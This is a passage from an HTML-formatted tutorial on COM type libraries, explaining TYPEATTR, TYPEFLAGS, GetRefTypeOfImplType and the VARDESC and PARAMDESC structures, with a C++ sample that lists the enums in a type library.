identifier of the default interface for the object.  For example, if we &lt;strong&gt;CoCreateInstance&lt;/strong&gt; a &lt;strong&gt;MSComctlLib.Slider&lt;/strong&gt; (Slider control), &lt;strong&gt;QueryInterface&lt;/strong&gt;d for &lt;strong&gt;IID_IDispatch&lt;/strong&gt;, invoked &lt;strong&gt;IDispatch::GetTypeInfo&lt;/strong&gt;, and finally &lt;strong&gt;ITypeInfo::GetTypeAttr&lt;/strong&gt;, we'd discover that &lt;strong&gt;TYPEATTR::guid&lt;/strong&gt; would equal &lt;strong&gt;IID_ISlider&lt;/strong&gt;.   This is far more helpful than &lt;strong&gt;IID_IDispatch&lt;/strong&gt;; it would be quite unfortunate if the type information for all default interfaces returned the same interface identifier.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;TYPEATTR::typekind&lt;/strong&gt; indicates exactly what the &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer is describing.  &lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bg border="0" cellpadding="0" cellspacing="3" width="85%" style="color:#f2f2f2;"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;strong&gt;from OAIDL.IDL&lt;/strong&gt;&lt;/small&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;typedef&lt;/span&gt; [&lt;span style="color:#0000ff;"&gt;v1_enum&lt;/span&gt;]     &lt;span style="color:#0000ff;"&gt;enum&lt;/span&gt; tagTYPEKIND {&lt;br /&gt;        TKIND_ENUM = 0,&lt;br /&gt;        TKIND_RECORD,&lt;br /&gt;        TKIND_MODULE,&lt;br /&gt;        TKIND_INTERFACE,&lt;br /&gt;        TKIND_DISPATCH,&lt;br /&gt;        TKIND_COCLASS,&lt;br /&gt;        TKIND_ALIAS,&lt;br /&gt;        TKIND_UNION,&lt;br /&gt;        TKIND_MAX                                &lt;span style="color:#007d0a;"&gt;/* end of enum marker */&lt;/span&gt;&lt;br /&gt;    } TYPEKIND;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;It's important to notice that &lt;strong&gt;TYPEKIND&lt;/strong&gt; includes both &lt;strong&gt;TKIND_INTERFACE&lt;/strong&gt; and &lt;strong&gt;TKIND_DISPATCH&lt;/strong&gt; values, for describing vtable interfaces and dispinterfaces, respectively.  So what does &lt;strong&gt;IDispatch::GetTypeInfo&lt;/strong&gt; give you?  Obviously the interface is a dispinterface, but the interface might also be dual.  There is a slight anomaly here: &lt;strong&gt;IDispatch::GetTypeInfo&lt;/strong&gt; might give you a &lt;strong&gt;TKIND_INTERFACE&lt;/strong&gt; description, but on the other hand, it might give you a &lt;strong&gt;TKIND_DISPATCH&lt;/strong&gt; description.  Well, let's say you are working with a dual interface, and &lt;strong&gt;IDispatch::GetTypeInfo&lt;/strong&gt; hands you a &lt;strong&gt;TKIND_INTERFACE&lt;/strong&gt; pointer, but what you want is a &lt;strong&gt;TKIND_DISPATCH&lt;/strong&gt; pointer.  Pop quiz hot shot.  What do you do?  What do you do?&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Check out the method &lt;strong&gt;ITypeInfo::GetRefTypeOfImplType&lt;/strong&gt;.  The parameters are &lt;strong&gt;UINT index&lt;/strong&gt; and &lt;strong&gt;HREFTYPE* pRefType&lt;/strong&gt;, respectively.  The Automation Programmer's Reference states, "If a type description describes a COM class, it retrieves the type description of the implemented interface types. For an interface, &lt;b&gt;GetRefTypeOfImplType&lt;/b&gt; returns the type information for inherited interfaces, if any exist."  So how does that help us?  Check the comment: "If the TKIND_DISPATCH type description is for a dual interface, the TKIND_INTERFACE type description can be obtained by calling &lt;b&gt;GetRefTypeOfImplType&lt;/b&gt; with an &lt;i&gt;index &lt;/i&gt;of -1, and by passing the returned &lt;i&gt;pRefType &lt;/i&gt;handle to &lt;b&gt;GetRefTypeInfo &lt;/b&gt;to retrieve the type information."  Well, we have a &lt;strong&gt;TKIND_INTERFACE&lt;/strong&gt; type description and want to get a &lt;strong&gt;TKIND_DISPATCH&lt;/strong&gt; description.   Unbenownst to the official documentation, &lt;strong&gt;GetRefTypeOfImplType&lt;/strong&gt; is actually an oscillating function of sorts.  For a &lt;strong&gt;TKIND_DISPATCH&lt;/strong&gt; type description, passing it -1 yields an &lt;strong&gt;HREFTYPE&lt;/strong&gt; for a &lt;strong&gt;TKIND_INTERFACE&lt;/strong&gt; description.  Similarly, for a &lt;strong&gt;TKIND_INTERFACE&lt;/strong&gt; description, passing &lt;strong&gt;GetRefTypeOfImplType&lt;/strong&gt; -1 yields an &lt;strong&gt;HREFTYPE&lt;/strong&gt; for a &lt;strong&gt;TKIND_DISPATCH&lt;/strong&gt; description.  Wacky.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Now we know how to find a dispinterface description from an interface description, and vice versa, but how do we even know if the interface is dual?  &lt;strong&gt;TYPEATTR&lt;/strong&gt; is not a complicated structure, but it tells you a lot about the type in question.  &lt;strong&gt;TYPEATTR::wTypeFlags&lt;/strong&gt; is an instance of the enumeration &lt;strong&gt;TYPEFLAGS&lt;/strong&gt;.  &lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bg border="0" cellpadding="0" cellspacing="3" width="85%" style="color:#f2f2f2;"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;strong&gt;from OAIDL.IDL&lt;/strong&gt;&lt;/small&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;typedef&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;enum&lt;/span&gt;     tagTYPEFLAGS {&lt;br /&gt;        TYPEFLAG_FAPPOBJECT = 0x01,&lt;br /&gt;        TYPEFLAG_FCANCREATE = 0x02,&lt;br /&gt;        TYPEFLAG_FLICENSED = 0x04,&lt;br /&gt;        TYPEFLAG_FPREDECLID = 0x08,&lt;br /&gt;        TYPEFLAG_FHIDDEN = 0x10,&lt;br /&gt;        TYPEFLAG_FCONTROL = 0x20,&lt;br /&gt;        TYPEFLAG_FDUAL = 0x40,&lt;br /&gt;        TYPEFLAG_FNONEXTENSIBLE = 0x80,&lt;br /&gt;        TYPEFLAG_FOLEAUTOMATION = 0x100,&lt;br /&gt;        TYPEFLAG_FRESTRICTED = 0x200,&lt;br /&gt;        TYPEFLAG_FAGGREGATABLE = 0x400,&lt;br /&gt;        TYPEFLAG_FREPLACEABLE = 0x800,&lt;br /&gt;        TYPEFLAG_FDISPATCHABLE = 0x1000,&lt;br /&gt;        TYPEFLAG_FREVERSEBIND = 0x2000&lt;br /&gt;    } TYPEFLAGS;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Aha!  The &lt;strong&gt;TYPEFLAG_FDUAL&lt;/strong&gt; bit is set for dual interfaces.  For dual interfaces, the &lt;strong&gt;TYPEFLAG_FOLEAUTOMATION&lt;/strong&gt; flag is also set (for the reasons presented in the "Type Info Motivations" section).  Note, however, that &lt;strong&gt;TYPEFLAG_FOLEAUTOMATION&lt;/strong&gt; is not set for pure-dispatch interfaces (even though they can only use automation compatible types).  &lt;strong&gt;TYPEFLAG_FNONEXTENSIBLE&lt;/strong&gt; is an important attribute.  Dispinterfaces are wily creatures.  Their definitions can change at runtime by programming &lt;strong&gt;IDispatch::GetIDsOfNames&lt;/strong&gt; to resolve or not resolve names based on state.  This ability is worrisome to Automation controllers which use ID binding (using &lt;strong&gt;Invoke&lt;/strong&gt; to call methods but resolving the DISPIDs at compile time).  &lt;strong&gt;TYPEFLAG_FNONEXTENSIBLE&lt;/strong&gt; gives the client the guarantee that &lt;strong&gt;GetIDsOfNames&lt;/strong&gt; will always resolve the same identifiers.  The other &lt;strong&gt;TYPEFLAGS&lt;/strong&gt; values are generic MIDL attributes, or are used to describe the other items listed in &lt;strong&gt;Figure 1&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Let's finish up our coverage of &lt;strong&gt;TYPEATTR&lt;/strong&gt;.  If &lt;strong&gt;TYPEATTR::typekind&lt;/strong&gt; indicates that the type information is describing an interface or dispinterface, &lt;strong&gt;TYPEATTR::cImplTypes&lt;/strong&gt; specifies the number of immediate base classes the interface derives from.  Since COM interfaces do not support multiple inheritance, this value will always be 0 or 1.   The first of the COM Commandments, "Thou shalt derive &lt;strong&gt;IUnknown&lt;/strong&gt;," proves that &lt;strong&gt;TYPEATTR::cImplTypes&lt;/strong&gt; will hold 1 for &lt;em&gt;every&lt;/em&gt; interface other than &lt;strong&gt;IUnknown&lt;/strong&gt;.  &lt;strong&gt;IUnknown&lt;/strong&gt;, of course, has no base class.  How do you retrieve a type description for an interface's base?   Invoke &lt;strong&gt;ITypeInfo::GetRefTypeOfImplType&lt;/strong&gt;, passing 0 for &lt;strong&gt;index&lt;/strong&gt;.   Pass the resultant &lt;strong&gt;HREFTYPE&lt;/strong&gt; to &lt;strong&gt;ITypeInfo::GetRefTypeInfo&lt;/strong&gt; to procure the appropriate &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;TYPEATTR::wMajorVerNum&lt;/strong&gt; and &lt;strong&gt;wMinorVerNum&lt;/strong&gt; simply hold the version of the type.  This corresponds to the MIDL &lt;strong&gt;version&lt;/strong&gt; attribute.  &lt;strong&gt;TYPEATTR::cbSizeInstance&lt;/strong&gt; applies not to interfaces, but structures and unions.  This holds the size in bytes of an instance of the structure or union.  &lt;strong&gt;TYPEATTR::cbSizeVft&lt;/strong&gt; gives the size of the virtual table of the described &lt;strong&gt;TKIND_INTERFACE&lt;/strong&gt;.  Everything mentioned above is nice to know, but it doesn't hit at the heart of type information.  By far the two most important elements of &lt;strong&gt;TYPEATTR&lt;/strong&gt; are &lt;strong&gt;cVars&lt;/strong&gt; and &lt;strong&gt;cFuncs&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;These two members specify the number of "variables" (enum values, structure members, union members) and functions (interface methods) that the described type contains.  These two values are mutually exclusive; when &lt;strong&gt;cVar&lt;/strong&gt; is nonzero, &lt;strong&gt;cFuncs&lt;/strong&gt; is zero, and vice versa.  Pulling method definitions out of the type library is a difficult thing.  We'll cover variables first.  For this you need to get a type description interface for the structure, enum, or union in question.  Of course all we have right now is the type description of the default dispatch interface.  An &lt;strong&gt;ITypeLib&lt;/strong&gt; pointer to the containing type library can be acquired with the appropriately named method &lt;strong&gt;ITypeInfo::GetContainingTypeLib&lt;/strong&gt;.  The returned &lt;strong&gt;ITypeLib&lt;/strong&gt; pointer gives you access to the type descriptions for all seven categories in &lt;strong&gt;Figure 1&lt;/strong&gt;.  If you'd rather load the type library without instantiating any objects, use &lt;strong&gt;LoadTypeLib&lt;/strong&gt; or &lt;strong&gt;LoadRegTypeLib&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;ITypeLib::GetTypeInfoCount&lt;/strong&gt; is a curious and mis-documented function.  As of the January 99 MSDN distribution, Microsoft claims that it takes no parameters and returns HRESULT.  This return value, MSDN states, is either S_OK or E_NOTIMPL.  Well, then where's the "count" in &lt;strong&gt;GetTypeInfoCount&lt;/strong&gt;?   The answer is simple: MSDN is screwed up.  Checking OAIDL.IDL shows that &lt;strong&gt;ITypeLib::GetTypeInfoCount&lt;/strong&gt; returns a UINT.  This value is the total number of type descriptions in the type library.  Passing an index between 0 and &lt;strong&gt;GetTypeInfoCount&lt;/strong&gt; - 1 to &lt;strong&gt;ITypeLib::GetTypeInfo&lt;/strong&gt; returns the appropriate &lt;strong&gt;ITypeInfo&lt;/strong&gt; type description pointer.  Here's where things get fun.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Let's say we want to print out a list of all the enumerations in the type library.   We have our &lt;strong&gt;ITypeLib&lt;/strong&gt; pointer, and have retrieved the count of type descriptions with &lt;strong&gt;ITypeLib::GetTypeInfoCount&lt;/strong&gt;.  How do we tell if any arbitrary type description (based on its index) describes an enum?  &lt;strong&gt;ITypeLib::GetTypeInfoType&lt;/strong&gt; returns a &lt;strong&gt;TYPEKIND&lt;/strong&gt; when passed an index.  This is the same as the &lt;strong&gt;TYPEATTR&lt;/strong&gt; we just covered.  If &lt;strong&gt;ITypeLib::GetTypeInfoType&lt;/strong&gt; on an index between 0 and &lt;strong&gt;GetTypeInfoCount&lt;/strong&gt; - 1 returns &lt;strong&gt;TKIND_ENUM&lt;/strong&gt;, we know we've got a winning index.  Now we just need to print out its name.   Take a look through the type description interfaces for something to resolve a name from an &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer or &lt;strong&gt;ITypeLib&lt;/strong&gt; index.  Aha!   &lt;strong&gt;ITypeInfo::GetNames&lt;/strong&gt;.  Sorry.  While this looks promising, &lt;strong&gt;GetNames&lt;/strong&gt; is used to produce method names and arguments, and structure, enum, and union values, as indicated by its MEMBERID parameter (think DISPID).  &lt;strong&gt;GetNames&lt;/strong&gt; won't work, but &lt;strong&gt;ITypeLib::GetDocumentation&lt;/strong&gt; will (why type names are called "documentation" is beyond me).  We can pass the type library index to &lt;strong&gt;ITypeLib::GetDocumentation&lt;/strong&gt; to retrieve a bunch of goodies.  Not just the name, but the &lt;strong&gt;helpstring&lt;/strong&gt;, &lt;strong&gt;helpcontext&lt;/strong&gt;, and &lt;strong&gt;helpfile&lt;/strong&gt; too.  Here's a sample app:&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bg border="0" cellpadding="0" cellspacing="3" width="85%" style="color:#f2f2f2;"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;#include&lt;/span&gt;     &lt;windows.h&gt;&lt;br /&gt;    &lt;span style="color:#0000ff;"&gt;#include&lt;/span&gt; &lt;atlbase.h&gt;&lt;br /&gt;    &lt;span style="color:#0000ff;"&gt;#include&lt;/span&gt; &lt;iostream&gt;&lt;br /&gt;   &lt;br /&gt;    &lt;span style="color:#0000ff;"&gt;void&lt;/span&gt; main() {&lt;br /&gt;        HRESULT hr(CoInitialize(0));&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"No COM... This is     embarassing.\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;   &lt;br /&gt;        CComPtr&lt;itypelib&gt; pTypeLib;&lt;br /&gt;        hr = LoadTypeLib(L&lt;span style="color:#ff0000;"&gt;"C:\\Windows\\System\\msdxm.ocx"&lt;/span&gt;,     &amp;amp;pTypeLib);&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Couldn't load the     library :(\n\n"&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt;; }&lt;br /&gt;   &lt;br /&gt;        UINT infoCount(pTypeLib-&gt;GetTypeInfoCount());&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt;(UINT curEnum(0); curEnum &lt;     infoCount; ++curEnum) {&lt;br /&gt;            TYPEKIND typeKind;&lt;br /&gt;            hr = pTypeLib-&gt;GetTypeInfoType(curEnum,     &amp;amp;typeKind);&lt;br /&gt;            &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;(hr || typeKind     != TKIND_ENUM) &lt;span style="color:#0000ff;"&gt;continue&lt;/span&gt;;&lt;br /&gt;           &lt;br /&gt;            CComBSTR name;&lt;br /&gt;            CComBSTR helpString;&lt;br /&gt;            hr = pTypeLib-&gt;GetDocumentation(curEnum,     &amp;amp;name, &amp;amp;helpString, 0, 0);&lt;/span&gt;&lt;/small&gt;&lt;br /&gt;    &lt;small&gt;&lt;span style="font-family:Courier New;"&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;continue&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;;&lt;br /&gt;            std::wcout&lt;&lt;&gt;&lt;/small&gt;&lt;br /&gt;    &lt;small&gt;&lt;span style="font-family:Courier New;"&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(helpString)     std::wcout&lt;&lt; color="#ff0000"&gt;" helpstring: "&lt;/span&gt;&lt;&lt;&gt;&lt;/small&gt;&lt;br /&gt;    &lt;small&gt;&lt;span style="font-family:Courier New;"&gt;            std::wcout&lt;&lt; color="#ff0000"&gt;"\n"&lt;/span&gt;;   &lt;br /&gt;        }&lt;br /&gt;    }&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Amazingly simple code.  The OCX file specified is the Windows Media Player component.  Here is the program output:&lt;/span&gt;&lt;/p&gt;  &lt;p align="center"&gt;&lt;img src="http://spec.winprog.org/typeinf2/enumres1.gif" alt="enumres1.gif (5931 bytes)" height="150" width="700" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;That was sure easy.  &lt;strong&gt;ITypeLib::GetTypeInfo&lt;/strong&gt; will return the type description for the specified index.  Calling &lt;strong&gt;ITypeInfo::GetTypeAttr&lt;/strong&gt; fills out a &lt;strong&gt;TYPEATTR&lt;/strong&gt; struct, giving the GUID and number of values in the enumerator.  Invoking &lt;strong&gt;ITypeInfo::GetVarDesc&lt;/strong&gt; on the indices 0 to &lt;strong&gt;TYPEATTR::cVars&lt;/strong&gt; builds a &lt;strong&gt;VARDESC&lt;/strong&gt; structure for each value in the enumerator.&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bg border="0" cellpadding="0" cellspacing="3" width="85%" style="color:#f2f2f2;"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;strong&gt;from OAIDL.IDL&lt;/strong&gt;&lt;/small&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;typedef&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;struct&lt;/span&gt;     tagVARDESC {&lt;br /&gt;        MEMBERID memid;&lt;br /&gt;        LPOLESTR lpstrSchema;&lt;br /&gt;        [&lt;span style="color:#0000ff;"&gt;switch_type&lt;/span&gt;(VARKIND), &lt;span style="color:#0000ff;"&gt;switch_is&lt;/span&gt;(varkind)] &lt;span style="color:#0000ff;"&gt;union&lt;/span&gt; {&lt;br /&gt;            &lt;span style="color:#007d0a;"&gt;/* offset of variable     within the instance */&lt;/span&gt;&lt;br /&gt;            [&lt;span style="color:#0000ff;"&gt;case&lt;/span&gt;(VAR_PERINSTANCE,     VAR_DISPATCH, VAR_STATIC)] ULONG oInst;&lt;br /&gt;            [&lt;span style="color:#0000ff;"&gt;case&lt;/span&gt;(VAR_CONST)]     VARIANT * lpvarValue; &lt;span style="color:#007d0a;"&gt;/* the value of the constant */&lt;/span&gt;&lt;br /&gt;        };&lt;br /&gt;        ELEMDESC elemdescVar;&lt;br /&gt;        WORD wVarFlags;&lt;br /&gt;        VARKIND varkind;&lt;br /&gt;    } VARDESC, * LPVARDESC;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;The first element, &lt;strong&gt;VARDESC::memid&lt;/strong&gt;, can be passed to &lt;strong&gt;ITypeInfo::GetNames&lt;/strong&gt; to retrieve the name of the enumeration value.  For structure and union data members, &lt;strong&gt;VARDESC::varkind&lt;/strong&gt; is usually set to &lt;strong&gt;VAR_PERINSTANCE&lt;/strong&gt;; for enums it is set to &lt;strong&gt;VAR_CONST&lt;/strong&gt;.  However, structs and unions can both contain constant data members, which don't add to the size of an instance of the struct or union.  The &lt;strong&gt;lpvarValue&lt;/strong&gt; VARIANT holds the default value for the constant.  Because the type of this VARIANT is not necessarily the type of the constant, it must be able to be coerced.  The type of the constant is described by the &lt;strong&gt;ELEMDESC&lt;/strong&gt; instance &lt;strong&gt;VARDESC::elemdescVar&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bg border="0" cellpadding="0" cellspacing="3" width="85%" style="color:#f2f2f2;"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;strong&gt;from OAIDL.IDL&lt;/strong&gt;&lt;/small&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;typedef&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;struct&lt;/span&gt;     tagELEMDESC {&lt;br /&gt;        TYPEDESC tdesc;                          &lt;span style="color:#007d0a;"&gt;/*     the type of the element */&lt;/span&gt;&lt;br /&gt;        PARAMDESC paramdesc;                     &lt;span style="color:#007d0a;"&gt;/*     IDLDESC is a subset of PARAMDESC */&lt;/span&gt;&lt;br /&gt;    } ELEMDESC;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;ELEMDESC&lt;/strong&gt; is a powerful structure used for describing nearly everything in a COM type library.  Interface method parameters are each described with a &lt;strong&gt;TYPEDESC&lt;/strong&gt;, one of &lt;strong&gt;ELEMDESC&lt;/strong&gt;'s two items, as are structure and union members (and typedefs too).  Let's look at the &lt;strong&gt;PARAMDESC&lt;/strong&gt; structure.&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bg border="0" cellpadding="0" cellspacing="3" width="85%" style="color:#f2f2f2;"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;strong&gt;from OAIDL.IDL&lt;/strong&gt;&lt;/small&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;typedef&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;struct&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; tagPARAMDESC {&lt;br /&gt;        LPPARAMDESCEX pparamdescex;    &lt;span style="color:#007d0a;"&gt;          /* valid if PARAMFLAG_FHASDEFAULT bit is set */&lt;/span&gt;&lt;br /&gt;        USHORT     wParamFlags;            &lt;span style="color:#007d0a;"&gt;      /* IN, OUT, etc */&lt;/span&gt;&lt;br /&gt;    } PARAMDESC, * LPPARAMDESC;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Starting to fear a proliferation of structures yet?  There's much more to come.  The constants for &lt;strong&gt;PARAMDESC::wParamFlags&lt;/strong&gt; are as follows.&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bg border="0" cellpadding="0" cellspacing="3" width="85%" style="color:#f2f2f2;"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;strong&gt;from OAIDL.IDL&lt;/strong&gt;&lt;/small&gt; &lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;const&lt;/span&gt; USHORT PARAMFLAG_NONE = 0x00;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FIN = 0x01;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FOUT = 0x02;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FLCID = 0x04;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FRETVAL = 0x08;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FOPT = 0x10;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FHASDEFAULT = 0x20;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FHASCUSTDATA = 0x40;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;These flags differ from the others we've seen; they aren't part of an enumeration.  The seven items from &lt;strong&gt;Figure 1&lt;/strong&gt; don't include constants defined out in the global namespace, so how is this possible?  Quite simple really - the constants aren't inside a library clause.  The &lt;strong&gt;PARAMFLAG_FHASCUSTDATA&lt;/strong&gt; is so rarely used (I've never seen it used) we'll ignore it here.  The remaining flags all modify method parameters.  Each corresponds to a MIDL attribute: &lt;strong&gt;in&lt;/strong&gt;, &lt;strong&gt;out&lt;/strong&gt;, &lt;strong&gt;lcid&lt;/strong&gt;, &lt;strong&gt;retval&lt;/strong&gt;, &lt;strong&gt;optional&lt;/strong&gt;, and &lt;strong&gt;defaultvalue&lt;/strong&gt;.  &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;If the &lt;strong&gt;PARAMFLAG_FHASDEFEAULT&lt;/strong&gt; bit is set on the &lt;strong&gt;PARAMDESC::wParamFlags&lt;/strong&gt; element, &lt;strong&gt;PARAMDESC::pparamdescex&lt;/strong&gt; is a pointer to the method's default value.  This does not hold the value of our enumeration item; that's back in &lt;strong&gt;VARDESC::lpvarValue&lt;/strong&gt;.   &lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bg border="0" cellpadding="0" cellspacing="3" width="85%" style="color:#f2f2f2;"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;strong&gt;&lt;small&gt;from OAIDL.IDL&lt;/small&gt;&lt;/strong&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;typedef&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;struct&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; tagPARAMDESCEX {&lt;br /&gt;        ULONG cBytes;                                &lt;span style="color:#007d0a;"&gt;/* size of this structure */&lt;/span&gt;&lt;br /&gt;        VARIANTARG varDefaultValue;              &lt;span style="color:#007d0a;"&gt;/* default value of     this parameter */&lt;/span&gt;&lt;br /&gt;    } PARAMDESCEX, * LPPARAMDESCEX;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Because parameters can be passed to methods by reference (typically as [out] parameters), the VARIANTARG structure (which allows VT_BYREF data) is used instead of VARIANT.  &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;We've covered &lt;strong&gt;PARAMDESC&lt;/strong&gt;, so let's start on the other element of &lt;strong&gt;ELEMDESC&lt;/strong&gt;: 